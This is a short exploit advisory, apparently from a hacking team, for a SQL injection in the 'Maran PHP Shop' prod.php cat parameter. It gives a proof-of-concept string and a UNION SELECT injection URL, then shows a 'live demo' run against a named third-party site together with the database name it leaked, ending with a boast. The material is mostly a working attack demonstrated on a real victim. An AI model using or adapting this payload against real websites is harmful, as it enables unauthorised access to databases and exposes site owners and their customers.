# Maran PHP Shop (prod.php cat) SQL Injection Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC: /prod.php?cat=7['SQL]
ExP: /prod.php?cat=7+and+1=2++union+all+select+database()--

live demo:
http://www.heimanis.lv/prod.php?cat=7+and+1=2++union+all+select+database()--

output:~$ latvello_heimanis

Hack0wn :D